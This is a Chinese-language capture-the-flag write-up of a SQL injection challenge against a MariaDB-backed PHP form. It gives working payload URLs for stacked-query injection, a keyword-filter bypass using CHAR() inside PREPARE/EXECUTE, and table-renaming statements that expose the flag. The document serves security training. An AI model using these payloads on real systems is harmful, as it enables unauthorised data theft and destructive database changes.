題目描述
隨便注

解題過程
查看源碼,發現應該不適合sqlmap
自動化注入,該題應該是讓你手工注入;
<!-- sqlmap是沒有靈魂的 -->
<form method="get">
姿勢: <input type="text" name="inject" value="1">
<input type="submit">
</form>
在表單中加入單引號'
試錯,發現SQL
語法錯誤
http://159.138.137.79:53698/?inject=1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at
這說明為GET型SQL注入漏洞。考慮聯合注入;
判斷列數
- 采用
order by
http://159.138.137.79:53698/?inject=1' and 1=2 order by 3 --+
- 經判斷列數為2
嘗試通過聯合查詢,查詢有用信息
http://159.138.137.79:53698/?inject=1' and 1=2 union select database(),user() --+
發現某些關鍵字被過濾
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
這樣我們便不能通過聯合查詢進行注入了。
這時考慮堆疊注入
使用分號結束上一個語句再疊加其他語句一起執行;
查詢所有數據庫
http://159.138.137.79:53698/?inject=1' and 1=2; show databases;--+
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
顯示所有表
http://159.138.137.79:53698/?inject=1' and 1=2; show tables;--+
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查詢表的結構
http://159.138.137.79:53698/?inject=1' and 1=2; desc `1919810931114514`;--+
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
由此可知,默認查詢的表為words
表,而flag在另一個表中。
我們可以將另一個表改設為默認查詢的表。
http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
相關知識
堆疊注入
在正常的語句后面加分號(;),可順序執行多條語句,從而造成注入漏洞。
Mysql語句
顯示表的列的信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema="" and table_name=""
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
第二種做法
使用PHP的預處理語句
SET @sql = variable; //設置變量
PREPARE pre from '[my sql sequece]'; //預定義SQL語句
EXECUTE pre; //執行預定義SQL語句sqla
SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`") ;
PREPARE pre from @sql;
EXECUTE pre;
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}